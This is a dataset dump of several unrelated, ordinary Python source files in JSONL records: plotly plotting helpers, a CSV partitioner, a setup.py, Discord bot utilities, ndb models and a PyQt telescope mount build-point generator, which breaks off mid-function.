tester.blast_recombinant()\n\n","sub_path":"rec_pipeline2.py","file_name":"rec_pipeline2.py","file_ext":"py","file_size_in_byte":5039,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"458928330","text":"import os\nimport numpy as np\nimport plotly\nfrom plotly.graph_objs import *\nfrom plotly.offline import plot\n\ndef plot_line_plot(x,\n y,\n output_directory,\n title,\n datapoint_mode,\n xlabel,\n ylabel,\n yaxis_range,\n descriptors):\n \"\"\"Use plotly to plot line or scatter plot\"\"\"\n data = Scatter(\n x=x,\n y=y,\n mode=datapoint_mode,\n marker=dict(\n opacity=0.25\n )\n )\n layout = Layout(\n title=title,\n font=dict(\n size=20\n ),\n xaxis=dict(\n title=xlabel#'Template position (bp)'\n ),\n yaxis=dict(\n title=ylabel,#'Fraction survivors left',\n range=yaxis_range\n )\n )\n figure = Figure(data=[data], layout=layout)\n additional_info = '-'.join([item for item in descriptors])\n filename = (additional_info + '_' + str(title) +\n '.html')\n filepath = os.path.sep.join([output_directory, filename])\n plot(figure, show_link=False, auto_open=False, filename=filepath)\n\ndef plot_fitted_line_plot(x,\n y,\n t_1,\n t_2,\n t_rc,\n output_directory,\n title,\n xlabel,\n ylabel,\n descriptors):\n \"\"\"Use plotly to plot line plot with horizontal fits\"\"\"\n data1 = Scatter(\n x=x,\n y=y,\n showlegend=False\n )\n # Fits\n # handle case where fit didn't happend\n if t_1[2] == 1:\n t_1[2] = 0\n if t_2[2] == 1:\n t_2[2] = 0\n if t_rc[2] == 1:\n t_rc[2] = 0\n\n data2 = Scatter(\n x=[t_1[0], t_1[1]],\n y=[t_1[2], t_1[2]],\n mode='lines',\n name=str(np.around(t_1[2], 7))\n )\n data3 = Scatter(\n x=[t_2[0], t_2[1]],\n y=[t_2[2], t_2[2]],\n mode='lines',\n name=str(np.around(t_2[2], 7))\n )\n data4 = Scatter(\n x=[t_rc[0], t_rc[1]],\n y=[t_rc[2], t_rc[2]],\n mode='lines',\n name=str(np.around(t_rc[2], 7))\n )\n data = [data1, data2, data3, data4]\n layout = Layout(\n title=title,\n font=dict(\n size=20\n ),\n xaxis=dict(\n title=xlabel\n ),\n yaxis=dict(\n title=ylabel\n )\n )\n figure = Figure(data=data, layout=layout)\n additional_info = '-'.join([item for item in descriptors])\n filename = (additional_info + '_' + str(title) +\n '.html')\n filepath = os.path.sep.join([output_directory, filename])\n plot(figure, show_link=False, auto_open=False, filename=filepath)\n\ndef plot_histogram(data,\n output_directory,\n title,\n xlabel,\n ylabel,\n bins,\n descriptors):\n \"\"\"Use plotly to plot simple histogram\"\"\"\n data = Histogram(\n x=data,\n opacity=0.75,\n autobinx=False,\n xbins=dict(\n start=bins[0],\n end=bins[1],\n size=bins[2]\n )\n )\n layout = Layout(\n title=title,\n font=dict(\n size=20\n ),\n xaxis=dict(\n title=xlabel\n ),\n yaxis=dict(\n title=ylabel\n )\n )\n figure = Figure(data=[data], layout=layout)\n additional_info = '-'.join([item for item in descriptors])\n filename = (additional_info + '_' + str(title) +\n '.html')\n filepath = os.path.sep.join([output_directory, filename])\n plot(figure, show_link=False, auto_open=False, filename=filepath)\n","sub_path":"biotk/tools/taulysis/plots.py","file_name":"plots.py","file_ext":"py","file_size_in_byte":3798,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"118215869","text":"#!/usr/bin/env python\n# -*- coding: UTF-8 -*-\n\nimport csv\nimport multiprocessing\nimport os\nimport re\n\nNUM_PROCS = multiprocessing.cpu_count()\n\nclass Partition(object):\n def __init__(self, numprocs, infile, outpath):\n self.counter = 0\n self.count = 0\n self.count_step = 1000000\n self.numprocs = numprocs\n self.infile = open(infile)\n self.outpath = outpath\n self.in_csvfile = csv.reader(self.infile)\n self.inq = multiprocessing.Queue()\n self.outq = multiprocessing.Queue()\n\n self.pin = multiprocessing.Process(target=self.parse_input_csv, args=())\n self.pout = multiprocessing.Process(target=self.write_output_csv, args=())\n self.ps = [multiprocessing.Process(target=self.partitionByDate, args=()) for i in range(self.numprocs)]\n\n self.pin.start()\n self.pout.start()\n for p in self.ps:\n p.start()\n\n self.pin.join()\n i = 0\n for p in self.ps:\n p.join()\n print('Done', i)\n i += 1\n\n self.pout.join()\n self.infile.close()\n\n def parse_input_csv(self):\n for i, row in enumerate(self.in_csvfile):\n row = [entry for entry in row]\n self.inq.put(row)\n self.counter += 1\n if self.counter % self.count_step == 0:\n self.count += 1\n print(\"processing %d million rows \" % self.count)\n for i in range(self.numprocs):\n self.inq.put(\"STOP\")\n\n def partitionByDate(self):\n for row in iter(self.inq.get, \"STOP\"):\n cleaned_row = self.cleanup(row)\n if cleaned_row is not None:\n self.outq.put(cleaned_row)\n self.outq.put(\"STOP\")\n\n def write_output_csv(self):\n for works in range(self.numprocs):\n keyfunc = lambda r: r[1] + '.csv'\n csv_writers = {}\n for row in iter(self.outq.get, \"STOP\"):\n k = keyfunc(row)\n if k not in csv_writers:\n csv_writers[k] = csv.writer(open(os.path.join(self.outpath, k), mode='a'))\n csv_writers[k].writerow(row)\n\n def cleanup(self, row):\n str = row[0]\n matchE = re.search('[a-zA-Z]\\d+', str)\n matchSuffixChar = re.search('[\\d]+_\\w', str)\n matchAlpha = re.search('[a-zA-Z]+', str)\n if matchE:\n return None\n elif matchSuffixChar:\n row[0] = row[0][:-2]\n return row\n elif matchAlpha:\n return None\n else:\n return row\n\n# -----------------------------------------------------------------\ninfile = '/Volumes/tbssd/data/ami-2014Combined.csv'\noutpath = '/Volumes/tbssd/data/out/'\n#\n# infile = '../data/1234.csv'\n# outpath = '../data/out/'\n\nif __name__ == '__main__':\n Partition(NUM_PROCS, infile, outpath)\n","sub_path":"meter/partition.py","file_name":"partition.py","file_ext":"py","file_size_in_byte":2863,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"159422846","text":"import setuptools\nfrom seedrandom import __version__\n\nwith open(\"README.md\", \"r\") as file:\n long_description = file.read()\n\nsetuptools.setup(\n name=\"seedrandom\",\n version=__version__,\n author=\"BananaLoaf\",\n author_email=\"bananaloaf@protonmail.com\",\n keywords=[\"random\", \"seed\", \"generator\", \"hash\", \"int\", \"float\", \"bool\", \"bytes\"],\n license=\"MIT\",\n description=\"Random number generation based on the seed\",\n long_description=long_description,\n long_description_content_type=\"text/markdown\",\n url=f\"https://github.com/BananaLoaf/seedrandom\",\n download_url=f\"https://github.com/BananaLoaf/seedrandom/archive/v{__version__}.tar.gz\",\n packages=setuptools.find_packages(),\n classifiers=[\n \"Development Status :: 5 - Production/Stable\",\n \"Programming Language :: Python :: 3\",\n \"License :: OSI Approved :: MIT License\",\n \"Operating System :: OS Independent\"])\n","sub_path":"pypi_install_script/seedrandom-1.4.1.tar/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":925,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"605703355","text":"# 作业:将 1.1 文件夹中的 59 个 json 分别改名为 01_原文件名.json 到 59_原文件名.json\nimport os\n\npath = 'F:/培训数据/1.1数据/GYF-GS-0919-59cases/'\nfilelist = os.listdir(path)\nn = 0\n#修改文件名\nfor file in filelist:\n n += 1\n # number = str(n).zfill(2)\n olaname = path + file\n newname =path + str(n).zfill(2) + '_' + file #str 字符串拼接.zfill 填充字符串\n # print(newname)\n # os.rename(olaname,newname)\n print(olaname,'------>',newname)\n\n# 再修改回来\n# path = 'C:/Users/admin/Desktop/培训数据/1.1数据/GYF-GS-0919-59cases/'\n# filelist = os.listdir(path)\n# n = 0\n# for file in filelist:\n# n += 1\n# old_name = path + file\n# num,new_file = file.split('_') #切割文件名\n# new_name = path + new_file\n# os.rename(old_name,new_name)\n# print(old_name, '------>', new_name)\n\n","sub_path":"98.培训题/01.rename.py","file_name":"01.rename.py","file_ext":"py","file_size_in_byte":867,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"402010076","text":"import sys\nimport logging\nimport asyncio\n\nfrom abc import abstractmethod, ABC, ABCMeta\n\nfrom discord.errors import NotFound\n\nfrom . import sessionManager, preferences\n\nloop = asyncio.get_event_loop()\n\ndef debounce(wait):\n \"\"\" Decorator that will postpone a functions\n execution until after wait seconds\n have elapsed since the last time it was invoked. \"\"\"\n def decorator(fn):\n def debounced(*args, **kwargs):\n def call_it():\n asyncio.create_task(fn(*args, **kwargs))\n try:\n debounced.t.cancel()\n except AttributeError:\n pass\n debounced.t = loop.call_later(wait, call_it)\n return debounced\n return decorator\n\nclass GameConfigError(Exception):\n def __init__(self, message: str):\n super().__init__(message)\n self.message = message\n\nclass BaseBotApp(metaclass=ABCMeta):\n # __metaclass__ = ABCMeta\n\n def __init__(self, name: str, players):\n self.app_name = name\n self._players = players\n\n @abstractmethod\n async def begin(self, bot, message, player1, player2):\n '''\n Start an app or game.\n '''\n raise NotImplementedError\n\n @abstractmethod\n async def end(self):\n '''\n Stop a game.\n '''\n raise NotImplementedError\n\n @abstractmethod\n async def handle(self, event, **data):\n '''\n Handle an event\n\n react - On a reaction\n '''\n raise NotImplementedError\n\n # Utilities\n\n def preference(self, player, key):\n return preferences.get(player, self.app_name, key)\n\n def end_session(self):\n sessionManager.pop(self._players)\n\n def register_message(self, message):\n return sessionManager.register_message(message, self)\n\n def unregister_message(self, message):\n return sessionManager.unregister_message(message)\n\n\nclass MagicMessage:\n def __init__(self, channel):\n self.channel = channel\n self.message = None\n self.ended = False\n\n async def send(self, text):\n if not self.message:\n return await self._send(text)\n\n try:\n await self._edit(text)\n except NotFound:\n return await self._send(text)\n\n # Delete & resend message after a certain delay\n self._resend(text)\n\n async def cleanup(self):\n self.ended = True\n\n await self._delete()\n self._cancel()\n\n @debounce(5)\n async def _resend(self, text):\n if not self.ended:\n await self._delete()\n await self._send(text)\n\n async def _send(self, text):\n self.message = await self.channel.send(text)\n\n async def _edit(self, text):\n await self.message.edit(content=text)\n\n async def _delete(self):\n if self.message:\n try:\n await self.message.delete()\n except NotFound:\n pass\n\n def _cancel(self):\n try:\n self.delay.t.cancel()\n except AttributeError:\n pass\n\n\ndef setupLogger():\n logger = logging.getLogger('bot')\n logger.setLevel(logging.INFO)\n\n handler = logging.StreamHandler(sys.stdout)\n handler.setLevel(logging.INFO)\n\n formatter = logging.Formatter(\"%(asctime)s - %(message)s\")\n formatter = logging.Formatter(\"%(message)s\")\n handler.setFormatter(formatter)\n\n logger.addHandler(handler)\n\n return logger\n","sub_path":"gamelib/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":3439,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"477252537","text":"from google.appengine.ext import ndb\nfrom google.appengine.ext.ndb import polymodel\n\nimport model\n\n\nclass MetricType(model.Base):\n\tuser_key = ndb.KeyProperty(kind=model.User, required=True)\n\tname = ndb.StringProperty(required=True)\n\ttype = ndb.StringProperty(required=True)\n\n\nclass BaseMetric(model.Base, polymodel.PolyModel):\n\tuser_key = ndb.KeyProperty(kind=model.User, required=True)\n\n\nclass DurationMetric(BaseMetric):\n\tvalue = ndb.IntegerProperty(required=True)\n\n\nclass DecimalMetric(BaseMetric):\n\tvalue = ndb.FloatProperty(required=True)\n\n\nclass CountMetric(BaseMetric):\n\tvalue = ndb.IntegerProperty(required=True)\n","sub_path":"main/model/metric.py","file_name":"metric.py","file_ext":"py","file_size_in_byte":621,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"383775981","text":"#Несколько кривых на одном графике\n\n#Каждая команда plot добавляет свою кривую:\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nx=np.linspace(-10,10,60)\nplt.plot(x,np.sin(x)/x)\nplt.plot(x,1-x**2/6)\nplt.plot(x,1-x**2/6+x**4/120)\nplt.ylim(-0.3,1.1)\nplt.show()\n","sub_path":"mathplotlib/matplotlib/lab3.py","file_name":"lab3.py","file_ext":"py","file_size_in_byte":324,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"123314229","text":"# -*- encoding utf-8 -*-\nimport os\n\nclass IndexRepeater:\n \"\"\"\n Enables the indexation of failed indexing attempts\n \"\"\"\n\n def __init__(self, cache, indexer):\n self.__cache = cache\n self.__indexer = indexer\n\n def reindex(self):\n \"\"\"\n Indexes all entries of FailedIndexingCache\n \"\"\"\n entries = self.__cache.read_from_cache()\n self.__cache.clear_cache()\n if entries:\n for entry in entries:\n if len(entry.strip()) > 0:\n try:\n self.__indexer.index_from_json(self.trim_line_break(str(entry)))\n except Exception as e:\n print(e)\n\n def trim_line_break(self, line):\n \"\"\"\n removes the line break\n\n :param line: One line of the cache file\n :return: Line without line break\n \"\"\"\n\n return line[:-1]\n","sub_path":"IndexRepeater.py","file_name":"IndexRepeater.py","file_ext":"py","file_size_in_byte":910,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"403394071","text":"############################################################\n# -*- coding: utf-8 -*-\n#\n# # # # # # #\n# ## ## # ## # #\n# # # # # # # # # # #\n# # ## # ## ## ######\n# # # # # # #\n#\n# Python-based Tool for interaction with the 10micron mounts\n# GUI with PyQT5 for python\n#\n# written in python3, (c) 2019-2021 by mworion\n# Licence APL2.0\n#\n###########################################################\n# standard libraries\n\n# external packages\n\n# local import\n\n\nclass BuildPoints:\n \"\"\"\n \"\"\"\n\n def __init__(self):\n self.lastGenerator = 'none'\n\n self.ui.genBuildGrid.clicked.connect(self.genBuildGrid)\n self.ui.genBuildAlign3.clicked.connect(self.genBuildAlign3)\n self.ui.genBuildAlign6.clicked.connect(self.genBuildAlign6)\n self.ui.genBuildAlign9.clicked.connect(self.genBuildAlign9)\n self.ui.numberGridPointsCol.valueChanged.connect(self.genBuildGrid)\n self.ui.numberGridPointsRow.valueChanged.connect(self.genBuildGrid)\n self.ui.altitudeMin.valueChanged.connect(self.genBuildGrid)\n self.ui.altitudeMax.valueChanged.connect(self.genBuildGrid)\n self.ui.genBuildMax.clicked.connect(self.genBuildMax)\n self.ui.genBuildMed.clicked.connect(self.genBuildMed)\n self.ui.genBuildNorm.clicked.connect(self.genBuildNorm)\n self.ui.genBuildMin.clicked.connect(self.genBuildMin)\n self.ui.genBuildFile.clicked.connect(self.genBuildFile)\n self.ui.genBuildDSO.clicked.connect(self.genBuildDSO)\n self.ui.numberDSOPoints.valueChanged.connect(self.genBuildDSO)\n self.ui.durationDSO.valueChanged.connect(self.genBuildDSO)\n self.ui.timeShiftDSO.valueChanged.connect(self.genBuildDSO)\n self.ui.saveBuildPoints.clicked.connect(self.saveBuildFile)\n self.ui.saveBuildPointsAs.clicked.connect(self.saveBuildFileAs)\n self.ui.loadBuildPoints.clicked.connect(self.loadBuildFile)\n self.ui.genBuildSpiralMax.clicked.connect(self.genBuildSpiralMax)\n self.ui.genBuildSpiralMed.clicked.connect(self.genBuildSpiralMed)\n self.ui.genBuildSpiralNorm.clicked.connect(self.genBuildSpiralNorm)\n self.ui.genBuildSpiralMin.clicked.connect(self.genBuildSpiralMin)\n self.ui.clearBuildP.clicked.connect(self.clearBuildP)\n self.ui.checkSortNothing.clicked.connect(self.processPoints)\n self.ui.checkSortEW.clicked.connect(self.processPoints)\n self.ui.checkSortHL.clicked.connect(self.processPoints)\n self.ui.checkAvoidFlip.clicked.connect(self.processPoints)\n self.ui.checkAutoDeleteMeridian.clicked.connect(self.autoDeletePoints)\n self.ui.checkAutoDeleteHorizon.clicked.connect(self.autoDeletePoints)\n\n def initConfig(self):\n \"\"\"\n initConfig read the key out of the configuration dict and stores it to the gui\n elements. if some initialisations have to be proceeded with the loaded persistent\n data, they will be launched as well in this method.\n\n :return: True for test purpose\n \"\"\"\n\n config = self.app.config['mainW']\n\n self.ui.numberGridPointsCol.valueChanged.disconnect(self.genBuildGrid)\n self.ui.numberGridPointsRow.valueChanged.disconnect(self.genBuildGrid)\n self.ui.altitudeMin.valueChanged.disconnect(self.genBuildGrid)\n self.ui.altitudeMax.valueChanged.disconnect(self.genBuildGrid)\n self.ui.numberDSOPoints.valueChanged.disconnect(self.genBuildDSO)\n self.ui.durationDSO.valueChanged.disconnect(self.genBuildDSO)\n self.ui.timeShiftDSO.valueChanged.disconnect(self.genBuildDSO)\n\n self.ui.buildPFileName.setText(config.get('buildPFileName', ''))\n self.ui.numberGridPointsRow.setValue(config.get('numberGridPointsRow', 5))\n self.ui.numberGridPointsCol.setValue(config.get('numberGridPointsCol', 6))\n self.ui.altitudeMin.setValue(config.get('altitudeMin', 30))\n self.ui.altitudeMax.setValue(config.get('altitudeMax', 75))\n self.ui.numberDSOPoints.setValue(config.get('numberDSOPoints', 15))\n self.ui.durationDSO.setValue(config.get('durationDSO', 7))\n self.ui.timeShiftDSO.setValue(config.get('timeShiftDSO', 0))\n\n self.ui.checkAutoDeleteMeridian.setChecked(config.get('checkAutoDeleteMeridian', False))\n self.ui.checkAutoDeleteHorizon.setChecked(config.get('checkAutoDeleteHorizon', True))\n self.ui.checkSafetyMarginHorizon.setChecked(config.get('checkSafetyMarginHorizon',\n False))\n self.ui.safetyMarginHorizon.setValue(config.get('safetyMarginHorizon', 0))\n self.ui.checkAvoidFlip.setChecked(config.get('checkAvoidFlip', False))\n self.ui.checkSortNothing.setChecked(config.get('checkSortNothing', True))\n self.ui.checkSortEW.setChecked(config.get('checkSortEW', False))\n self.ui.checkSortHL.setChecked(config.get('checkSortHL', False))\n self.ui.keepGeneratedPoints.setChecked(config.get('keepGeneratedPoints', False))\n\n self.ui.numberGridPointsCol.valueChanged.connect(self.genBuildGrid)\n self.ui.numberGridPointsRow.valueChanged.connect(self.genBuildGrid)\n self.ui.altitudeMin.valueChanged.connect(self.genBuildGrid)\n self.ui.altitudeMax.valueChanged.connect(self.genBuildGrid)\n self.ui.numberDSOPoints.valueChanged.connect(self.genBuildDSO)\n self.ui.durationDSO.valueChanged.connect(self.genBuildDSO)\n self.ui.timeShiftDSO.valueChanged.connect(self.genBuildDSO)\n\n return True\n\n def storeConfig(self):\n \"\"\"\n storeConfig writes the keys to the configuration dict and stores. if some\n saving has to be proceeded to persistent data, they will be launched as\n well in this method.\n\n :return: True for test purpose\n \"\"\"\n\n config = self.app.config['mainW']\n config['buildPFileName'] = self.ui.buildPFileName.text()\n config['numberGridPointsRow'] = self.ui.numberGridPointsRow.value()\n config['numberGridPointsCol'] = self.ui.numberGridPointsCol.value()\n config['altitudeMin'] = self.ui.altitudeMin.value()\n config['altitudeMax'] = self.ui.altitudeMax.value()\n config['numberDSOPoints'] = self.ui.numberDSOPoints.value()\n config['durationDSO'] = self.ui.durationDSO.value()\n config['timeShiftDSO'] = self.ui.timeShiftDSO.value()\n config['checkAutoDeleteMeridian'] = self.ui.checkAutoDeleteMeridian.isChecked()\n config['checkAutoDeleteHorizon'] = self.ui.checkAutoDeleteHorizon.isChecked()\n config['checkSafetyMarginHorizon'] = self.ui.checkSafetyMarginHorizon.isChecked()\n config['safetyMarginHorizon'] = self.ui.safetyMarginHorizon.value()\n config['checkAvoidFlip'] = self.ui.checkAvoidFlip.isChecked()\n config['checkSortNothing'] = self.ui.checkSortNothing.isChecked()\n config['checkSortEW'] = self.ui.checkSortEW.isChecked()\n config['checkSortHL'] = self.ui.checkSortHL.isChecked()\n config['keepGeneratedPoints'] = self.ui.keepGeneratedPoints.isChecked()\n\n return True\n\n def genBuildGrid(self):\n \"\"\"\n genBuildGrid generates a grid of point for model build based on gui data. the cols\n have to be on even numbers.\n\n :return: success\n \"\"\"\n\n self.lastGenerator = 'grid'\n\n self.ui.numberGridPointsRow.setEnabled(False)\n self.ui.numberGridPointsCol.setEnabled(False)\n self.ui.altitudeMin.setEnabled(False)\n self.ui.altitudeMax.setEnabled(False)\n\n row = self.ui.numberGridPointsRow.value()\n col = self.ui.numberGridPointsCol.value()\n\n # we only have equal cols\n col = 2 * int(col / 2)\n self.ui.numberGridPointsCol.setValue(col)\n minAlt = self.ui.altitudeMin.value()\n maxAlt = self.ui.altitudeMax.value()\n keep = self.ui.keepGeneratedPoints.isChecked()\n\n suc = self.app.data.genGrid(minAlt=minAlt,\n maxAlt=maxAlt,\n numbRows=row,\n numbCols=col,\n keep=keep)\n\n if not suc:\n self.ui.numberGridPointsRow.setEnabled(True)\n self.ui.numberGridPointsCol.setEnabled(True)\n self.ui.altitudeMin.setEnabled(True)\n self.ui.altitudeMax.setEnabled(True)\n self.app.message.emit('Could not generate grid', 2)\n return False\n\n self.processPoints()\n\n self.ui.numberGridPointsRow.setEnabled(True)\n self.ui.numberGridPointsCol.setEnabled(True)\n self.ui.altitudeMin.setEnabled(True)\n self.ui.altitudeMax.setEnabled(True)\n\n return True\n\n def genBuildAlign3(self):\n \"\"\"\n genBuildAlign3 generates a grid of 3 point for model build based on gui data.\n\n :return: success\n \"\"\"\n\n self.lastGenerator = 'align3'\n keep = self.ui.keepGeneratedPoints.isChecked()\n suc = self.app.data.genAlign(altBase=55,\n azBase=10,\n numberBase=3,\n keep=keep)\n\n if not suc:\n self.app.message.emit('Could not generate 3 align stars', 2)\n return False\n\n self.processPoints()\n\n return True\n\n def genBuildAlign6(self):\n \"\"\"\n genBuildAlign6 generates a grid of 6 point for model build based on gui data.\n\n :return: success\n \"\"\"\n\n self.lastGenerator = 'align6'\n keep = self.ui.keepGeneratedPoints.isChecked()\n suc = self.app.data.genAlign(altBase=55,\n azBase=10,\n numberBase=6,\n keep=keep)\n\n if not suc:\n self.app.message.emit('Could not generate 6 align stars', 2)\n return False\n\n self.processPoints()\n\n return True\n\n def genBuildAlign9(self):\n \"\"\"\n genBuildAlign9 generates a grid of 9 point for model build based on gui data.\n\n :return: success\n \"\"\"\n\n self.lastGenerator = 'align9'\n keep = self.ui.keepGeneratedPoints.isChecked()\n suc = self.app.data.genAlign(altBase=55,\n azBase=10,\n numberBase=9,\n keep=keep)\n\n if not suc:\n self.app.message.emit('Could not generate 9 align stars', 2)\n return False\n\n self.processPoints()\n\n return True\n\n def genBuildMax(self):\n \"\"\"\n genBuildMax generates the point pattern based on greater circles for model build.\n the point are calculated for the observers position. max goes for approx 100 points\n effectively when removing the horizon.\n\n :return: success\n \"\"\"\n\n self.lastGenerator = 'max'\n keep = self.ui.keepGeneratedPoints.isChecked()\n suc = self.app.data.genGreaterCircle(selection='max', keep=keep)\n\n if not suc:\n self.app.message.emit('Build points [max] cannot be generated', 2)\n return False\n\n self.processPoints()\n\n return True\n\n def genBuildMed(self):\n \"\"\"\n genBuildMed generates the point pattern based on greater circles for model build.\n the point are calculated for the observers position. max goes for approx 70 points\n effectively when removing the horizon.\n\n :return: success\n \"\"\"\n\n self.lastGenerator = 'med'\n keep = self.ui.keepGeneratedPoints.isChecked()\n suc = self.app.data.genGreaterCircle(selection='med', keep=keep)\n\n if not suc:\n self.app.message.emit('Build points [med] cannot be generated', 2)\n return False\n\n self.processPoints()\n\n return True\n\n def genBuildNorm(self):\n \"\"\"\n genBuildNorm generates the point pattern based on greater circles for model build.\n the point are calculated for the observers position. max goes for approx 40 points\n effectively when removing the horizon.\n\n :return: success\n \"\"\"\n\n self.lastGenerator = 'norm'\n keep = self.ui.keepGeneratedPoints.isChecked()\n suc = self.app.data.genGreaterCircle(selection='norm', keep=keep)\n\n if not suc:\n self.app.message.emit('Build points [norm] cannot be generated', 2)\n return False\n\n self.processPoints()\n\n return True\n\n def genBuildMin(self):\n \"\"\"\n genBuildMin generates the point pattern based on greater circles for model build.\n the point are calculated for the observers position. min goes for approx 25 points\n effectively when removing the horizon.\n\n :return: success\n \"\"\"\n\n self.lastGenerator = 'min'\n keep = self.ui.keepGeneratedPoints.isChecked()\n suc = self.app.data.genGreaterCircle(selection='min', keep=keep)\n\n if not suc:\n self.app.message.emit('Build points [min] cannot be generated', 2)\n return False\n\n self.processPoints()\n\n return True\n\n def genBuildDSO(self):\n \"\"\"\n genBuildDSO generates points along the actual tracking path\n\n :return: success\n \"\"\"\n\n self.lastGenerator = 'dso'\n ra = self.app.mount.obsSite.raJNow\n dec = self.app.mount.obsSite.decJNow\n timeJD = self.app.mount.obsSite.timeJD\n location = self.app.mount.obsSite.location\n\n if ra is None or dec is None or location is None:\n self.app.message.emit('DSO Path cannot be generated', 2)\n return False\n\n self.ui.numberDSOPoints.setEnabled(False)\n self.ui.durationDSO.setEnabled(False)\n self.ui.timeShiftDSO.setEnabled(False)\n\n numberPoints = self.ui.numberDSOPoints.value()\n duration = self.ui.durationDSO.value()\n timeShift = self.ui.timeShiftDSO.value()\n\n keep = self.ui.keepGeneratedPoints.isChecked()\n suc = self.app.data.generateDSOPath(ra=ra,\n dec=dec,\n timeJD=timeJD,\n location=location,\n numberPoints=numberPoints,\n duration=duration,\n timeShift=timeShift,\n keep=keep,\n )\n\n if not suc:\n self.ui.numberDSOPoints.setEnabled(True)\n self.ui.durationDSO.setEnabled(True)\n self.ui.timeShiftDSO.setEnabled(True)\n self.app.message.emit('DSO Path cannot be generated', 2)\n return False\n\n self.processPoints()\n\n self.ui.numberDSOPoints.setEnabled(True)\n self.ui.durationDSO.setEnabled(True)\n self.ui.timeShiftDSO.setEnabled(True)\n\n return True\n\n def genBuildSpiralMax(self):\n \"\"\"\n genBuildGoldenSpiral generates points along the actual tracking path\n as the processing might take to long (at least on ubuntu), we have to find a\n workaround to this behavior:\n https://stackoverflow.com/questions/41568990/\n how-do-i-prevent-double-valuechanged-events-when-i-press-the-arrows-in-a-qspinbo\n\n :return: success\n \"\"\"\n\n self.lastGenerator = 'spiralMax'\n keep = self.ui.keepGeneratedPoints.isChecked()\n suc = self.app.data.generateGoldenSpiral(numberPoints=350, keep=keep)\n\n if not suc:\n self.app.message.emit('Golden spiral cannot be generated', 2)\n return False\n\n self.processPoints()\n\n return True\n\n def genBuildSpiralMed(self):\n \"\"\"\n\n :return: success\n \"\"\"\n\n self.lastGenerator = 'spiralMed'\n keep = self.ui.keepGeneratedPoints.isChecked()\n suc = self.app.data.generateGoldenSpiral(numberPoints=250, keep=keep)\n\n if not suc:\n self.app.message.emit('Golden spiral cannot be generated', 2)\n return False\n\n self.processPoints()\n\n return True\n\n def genBuildSpiralNorm(self):\n \"\"\"\n\n :return: success\n \"\"\"\n\n self.lastGenerator = 'spiralNorm'\n keep = self.ui.keepGeneratedPoints.isChecked()\n suc = self.app.data.generateGoldenSpiral(numberPoints=150, keep=keep)\n\n if not suc:\n self.app.message.emit('Golden spiral cannot be generated', 2)\n return False\n\n self.processPoints()\n\n return True\n\n def genBuildSpiralMin(self):\n \"\"\"\n\n :return: success\n \"\"\"\n\n self.lastGenerator = 'spiralMin'\n keep = self.ui.keepGeneratedPoints.isChecked()\n suc = self.app.data.generateGoldenSpiral(numberPoints=75, keep=keep)\n\n if not suc:\n self.app.message.emit('Golden spiral cannot be generated', 2)\n return False\n\n self.processPoints()\n\n return True\n\n def genBuildFile(self):\n \"\"\"\n genBuildFile tries to load a give build point file and displays it for usage.\n\n :return: success\n \"\"\"\n\n self.lastGenerator = 'file'\n fileName = self.ui.buildPFileName.text()\n if not fileName:\n self.app.message.emit('Build points file name not given', 2)\n return False\n\n keep = self.ui.keepGeneratedPoints.isChecked()\n suc = self.app.data.loadBuildP(fileName=fileName, keep=keep)\n\n if not suc:\n text = 'Build points file [{0}] could not be loaded'.format(fileName)\n self.app.message.emit(text, 2)\n return False\n\n self.processPoints()\n\n return True\n\n def loadBuildFile(self):\n \"\"\"\n loadBuildFile calls a file selector box and selects the filename to be loaded\n\n :return: success\n \"\"\"\n\n folder = self.app.mwGlob['configDir']\n fileTypes = 'Build Point Files (*.bpts);; CSV Files (*.csv);; MW3 Files (*.txt)'\n loadFilePath, fileName, ext = self.openFile(self,\n 'Open build point file',\n folder,\n fileTypes)\n if not loadFilePath:\n return False\n\n keep = self.ui.keepGeneratedPoints.isChecked()\n suc = self.app.data.loadBuildP(fileName=fileName, ext=ext, keep=keep)\n\n if suc:\n self.ui.buildPFileName.setText(fileName)\n self.app.message.emit(f'Build file [{fileName}] loaded', 0)\n else:\n self.app.message.emit(f'Build file [{fileName}] cannot no be loaded', 2)\n\n self.genBuildFile()\n\n return True\n\n def saveBuildFile(self):\n \"\"\"\n saveBuildFile calls saving the build file\n\n :return: success\n \"\"\"\n\n fileName = self.ui.buildPFileName.text()\n if not fileName:\n self.app.message.emit('Build points file name not given', 2)\n return False\n\n suc = self.app.data.saveBuildP(fileName=fileName)\n\n if suc:\n self.app.message.emit(f'Build file [{fileName}] saved', 0)\n else:\n self.app.message.emit(f'Build file [{fileName}] cannot no be saved', 2)\n\n return True\n\n def saveBuildFileAs(self):\n \"\"\"\n saveBuildFileAs calls a file selector box and selects the filename to be save\n\n :return: success\n \"\"\"\n\n folder = self.app.mwGlob['configDir']\n saveFilePath, fileName, ext = self.saveFile(self,\n 'Save build point file',\n folder,\n 'Build point files (*.bpts)',\n )\n if not saveFilePath:\n return False\n\n suc = self.app.data.saveBuildP(fileName=fileName)\n\n if suc:\n self.ui.buildPFileName.setText(fileName)\n self.app.message.emit(f'Build file [{fileName}] saved', 0)\n else:\n self.app.message.emit(f'Build file [{fileName}] cannot no be saved', 2)\n\n return True\n\n def clearBuildP(self):\n \"\"\"\n\n :return: success\n \"\"\"\n\n self.app.data.clearBuildP()\n self.app.drawBuildPoints.emit()\n\n if not self.app.uiWindows['showHemisphereW']['classObj']:\n return False\n\n self.app.uiWindows['showHemisphereW']['classObj'].clearHemisphere()\n\n return True\n\n def autoDeletePoints(self):\n \"\"\"\n autoDeletePoints removes all generated or visible build points below the horizon line\n or within the limits of the meridian flip and redraws the hemisphere window.\n\n :return: True for test 